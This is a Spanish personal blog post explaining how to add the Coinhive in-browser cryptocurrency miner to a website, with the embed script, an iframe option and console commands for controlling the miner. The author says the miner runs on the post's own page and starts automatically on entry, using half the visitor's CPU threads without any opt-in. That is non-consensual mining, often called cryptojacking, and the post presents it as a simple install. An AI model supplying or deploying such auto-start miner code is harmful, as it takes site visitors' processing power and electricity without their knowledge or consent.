Donde guardo mis ideas

Carlos Coronado Maleno

  • RSS
  • Facebook
  • Twitter
  • Linkdin
  • AboutMe
  • Google plus

Últimamente me ha dado curiosidad por el mundo de las criptomonedas. Concretamente por la técnica de minado de hashes.

Parte de esta curisidad me ha llevado a descubrir esta herramienta, que con una instalación muy sencilla, similar al código de Google Analytics que sabe la mayoría.

Para instalarlo es tan sencillo como añadir el script que nos facilitan desde su página web www.coinhive.com

<script src=”https://coinhive.com/lib/coinhive.min.js”></script>
<script>
var miner = new CoinHive.Anonymous(‘YOUR_SITE_KEY’, {threads : navigator.hardwareConcurrency/2});
miner.start();
</script>

La prueba la puedes ver funcionando en esta misma página. Nada más entrar se activa automáticamente.

Si lo quieres parar o pausar, puedes lanzar estos comandos en la consola de tu navegador:

//Comprobar que el minero está funcionando
miner.isRuning();
 
//Apagar el minado
miner.stop();
 
//Eventos cuando se encuentre un hash, etc..
miner.on(event, callback)
 
//Obtener el número de procesadores que se están usando para minar
miner.getNumThreads()
 
//Modificar el número de procesadores que se usarán para minar
miner.setNumThreads(numThreads)
 
//Automatiza el número de procesadores que se usarán
miner.setAutoThreadsEnabled(true)
 
//Devuelve la velocidad de cálculo que se está generando.
miner.getHashesPerSecond()

También puedes embeber un iframe en tu página web con una UI más sofisticada desde la URL: https://authedmine.com/media/miner.html?key=YOUR_SITE_KEY.

La documentación entera de la API de javascript se puede encontrar en este enlace https://coinhive.com/documentation/miner

Utilizamos "cookies" propias y de terceros para elaborar información estadística y mostrarle publicidad personalizada a través del análisis de su navegación. Si continúa navegando acepta su uso. Puede leer la política de cookies aquí.

Hemos detectado que estás usando un bloqueador de publicidad. Por favor, considera desactivarlo en esta web. Aunque no es mucho, la publicidad nos ayuda a paliar los gastos de mantener esta web activa. Muchas gracias

No cedemos los datos a terceros, solo lo usamos para enviarte notificaciones cuando publicamos algo nuevo.
No enviamos publicidad.